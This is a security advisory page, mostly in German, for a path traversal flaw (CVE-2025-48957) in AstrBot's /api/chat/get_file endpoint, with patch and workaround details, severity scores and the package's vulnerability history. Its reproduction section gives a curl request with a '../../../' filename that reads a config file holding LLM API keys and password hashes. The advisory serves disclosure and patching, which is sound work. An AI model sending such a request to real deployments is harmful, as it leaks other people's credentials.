Hoch

AstrBot Has Path Traversal Vulnerability in /api/chat/get_file

  • Veröffentlicht: 04.06.2025
  • Aktualisiert: 11.10.2026 15:17

Impact

This vulnerability may lead to:

  • Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

  1. Install dependencies and clone the repository:

    bash
    pip install uv
    git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
    uv run main.py
  2. Alternatively, deploy the program via pip:

    bash
    mkdir astrbot && cd astrbot
    uvx astrbot init
    uvx astrbot run
  3. In another terminal, run the following command to exploit the vulnerability:

    bash
    curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json

This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

Patches

The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

Workarounds

Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

References

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) astrbot >= 3.4.4, < 3.5.13 3.5.13

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-23
Plattform
Python (PyPI)
Paket
astrbot
Veröffentlicht
04.06.2025
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1196 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-cq37-g2qp-3c2p - CC BY 4.0

Schwachstellenhistorie: astrbot

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
8
Erste → letzte
06.2025 06.2026
Ohne Fix
5
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 3
  • Mittel 1
  • Niedrig 3

Veröffentlichungen pro Jahr

  1. 2025: 4
  2. 2026: 4
  1. Hoch · 7.3 CVE-2026-7579 <= 4.16.0 keine Korrektur
  2. Niedrig · 4.7 CVE-2026-6984 <= 4.22.1 keine Korrektur
  3. Kritisch · 9.8 CVE-2025-55449 < 3.5.18 3.5.18
  4. Hoch CVE-2025-57698 <= 3.5.22 keine Korrektur
  5. AstrBot Has Path Traversal Vulnerability in /api/chat/get_file dieser Eintrag
    Hoch · 7.5 CVE-2025-48957 >= 3.4.4, < 3.5.13 3.5.13

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.